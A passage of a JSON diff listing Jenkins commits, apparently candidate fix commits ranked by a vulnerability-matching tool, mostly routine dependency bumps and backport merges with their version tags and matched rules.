"twins": [], + "tags": [ + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8973", + "relevance": 2 + } + ] + }, + { + "commit_id": "981ebd4328651bb86fe333400c7d213205b4dd74", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1708688722, + "hunks": 160, + "message": "Update dependency postcss-preset-env to v9.4.0 (#8983) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8983": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8983", + "relevance": 2 + } + ] + }, + { + "commit_id": "4b7cde7c9501c736390a5e78d8a12cb5461d914a", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1708688666, + "hunks": 4, + "message": "Update dependency sass-loader to v14.1.1 (#8981) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8981": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8981", + "relevance": 2 + } + ] + }, + { + "commit_id": "2e07f81a62cd67271cd49bbe5e1b3b627ed1e9ce", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1708621001, + "hunks": 4, + "message": "Update dependency webpack to v5.90.3 (#8980) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8980": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8980", + "relevance": 2 + } + ] + }, + { + "commit_id": "05627e2b5054b870e1341c836ba594221400c779", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1708530087, + "hunks": 1, + "message": "Bump org.apache.maven.plugins:maven-shade-plugin from 3.5.1 to 3.5.2 (#8978) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "cli/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8978": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8978", + "relevance": 2 + } + ] + }, + { + "commit_id": "8d2045bf9caa9649523d7d980d301be83f6da748", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1708438826, + "hunks": 1, + "message": "Bump org.apache.commons:commons-compress from 1.25.0 to 1.26.0 (#8971) Bumps org.apache.commons:commons-compress from 1.25.0 to 1.26.0. --- updated-dependencies: - dependency-name: org.apache.commons:commons-compress dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "bom/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8971": "Stop shipping commons-lang3 #8997 Upgrade org.apache.commons:commons-compress from 1.25.0 to 1.26.0 on stable-2.440 #8998" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8971", + "relevance": 2 + } + ] + }, + { + "commit_id": "32ee888ae8040b9cabc7602d6aba8395041efaae", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1708351131, + "hunks": 4, + "message": "Update dependency webpack to v5.90.2 (#8967) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8967": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8967", + "relevance": 2 + } + ] + }, + { + "commit_id": "ab6fce6d4ec44af08c120f630778d8877ad53a80", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1708351122, + "hunks": 1, + "message": "Update dependency node to v20.11.1 (#8968) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8968": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8968", + "relevance": 2 + } + ] + }, + { + "commit_id": "3ed29aed3449de944eaec17ee8a37d8919358d20", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1708335347, + "hunks": 4, + "message": "Update dependency sass to v1.71.0 (#8969) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8969": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8969", + "relevance": 2 + } + ] + }, + { + "commit_id": "d12b130d231a9ef3902ab945e2c8c1e74d95de6d", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1708118964, + "hunks": 0, + "message": "Merge pull request #8957 from NotMyFault/backporting-the-2nd Second backporting for 2.440.1", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8957": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.440.1", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8957", + "relevance": 2 + } + ] + }, + { + "commit_id": "1c1190c3ae08454954e4370b7cfc42c0a3e48b42", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707949026, + "hunks": 1, + "message": "Fix login form window size responsiveness thresholds (#8959) >= and <= overlap Co-authored-by: Daniel Beck ", + "changed_files": [ + "war/src/main/scss/pages/_sign-in-register.scss" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8959": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8959", + "relevance": 2 + } + ] + }, + { + "commit_id": "db61f04af8e553dc55d2cb2fa18fa5581dab4310", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707839325, + "hunks": 9, + "message": "`WebSockets.upgradeResponse` (#8917)", + "changed_files": [ + "core/src/main/java/jenkins/websocket/WebSockets.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8917": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8917", + "relevance": 2 + } + ] + }, + { + "commit_id": "510867a2f24c1c583803b29bd8b42b46b1c87737", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707743329, + "hunks": 4, + "message": "Update dependency postcss to v8.4.35 (#8950) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8950": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8950", + "relevance": 2 + } + ] + }, + { + "commit_id": "f2b082e3f5e8b11ec2ba524d92f40b2ef808a33d", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707742219, + "hunks": 1, + "message": "Bump commons-codec:commons-codec from 1.16.0 to 1.16.1 (#8949) Bumps [commons-codec:commons-codec](https://github.com/apache/commons-codec) from 1.16.0 to 1.16.1. - [Changelog](https://github.com/apache/commons-codec/blob/master/RELEASE-NOTES.txt) - [Commits](https://github.com/apache/commons-codec/compare/rel/commons-codec-1.16.0...rel/commons-codec-1.16.1) --- updated-dependencies: - dependency-name: commons-codec:commons-codec dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "bom/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8949": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8949", + "relevance": 2 + } + ] + }, + { + "commit_id": "b9373bbcf23c2ca8e0984bc62800125558351934", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707567246, + "hunks": 0, + "message": "Merge pull request #8945 from NotMyFault/backporting-2.440.1 Backporting for 2.440.1", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8945": "2.440.1 Release checklist jenkins-infra/release#497 Backporting for LTS 2.440.2 #9014" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8945", + "relevance": 2 + } + ] + }, + { + "commit_id": "e05ffb8a789a479b23b38ef407b35d508095222e", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707465896, + "hunks": 1, + "message": "[JENKINS-72637] Make Cloud permission scope inherit from Jenkins (#8944) [JENKINS-72637] Make Cloud permission scope inherit from Overall Co-authored-by: Daniel Beck ", + "changed_files": [ + "core/src/main/java/hudson/slaves/Cloud.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8944": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8944", + "relevance": 2 + } + ] + }, + { + "commit_id": "11472cd995f2bfd5893eba3edaf45bdc35231635", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707465883, + "hunks": 4, + "message": "Update dependency postcss to v8.4.34 (#8948) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8948": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8948", + "relevance": 2 + } + ] + }, + { + "commit_id": "fc056066a0d5f9b3c4ee9d714b930eb313ab2e5d", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707433231, + "hunks": 1, + "message": "Update dependabot stable branch (#8946) Signed-off-by: Alexander Brandes ", + "changed_files": [ + ".github/dependabot.yml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8946": "2.440.1 Release checklist jenkins-infra/release#497" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8946", + "relevance": 2 + } + ] + }, + { + "commit_id": "9c52da9d7611b2ac9206d5689986445c71f1b5eb", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707393782, + "hunks": 1, + "message": "Bump slf4jVersion from 2.0.11 to 2.0.12 (#8939) Bumps `slf4jVersion` from 2.0.11 to 2.0.12. Updates `org.slf4j:jcl-over-slf4j` from 2.0.11 to 2.0.12 Updates `org.slf4j:log4j-over-slf4j` from 2.0.11 to 2.0.12 Updates `org.slf4j:slf4j-api` from 2.0.11 to 2.0.12 Updates `org.slf4j:slf4j-jdk14` from 2.0.11 to 2.0.12 --- updated-dependencies: - dependency-name: org.slf4j:jcl-over-slf4j dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:log4j-over-slf4j dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:slf4j-api dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:slf4j-jdk14 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "bom/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8939": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8939", + "relevance": 2 + } + ] + }, + { + "commit_id": "1b0a4a80a3eea2bf5aa007388386a30625a0c06a", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707393764, + "hunks": 4, + "message": "Update dependency prettier to v3.2.5 (#8940) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8940": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.445", + "jenkins-2.446", + 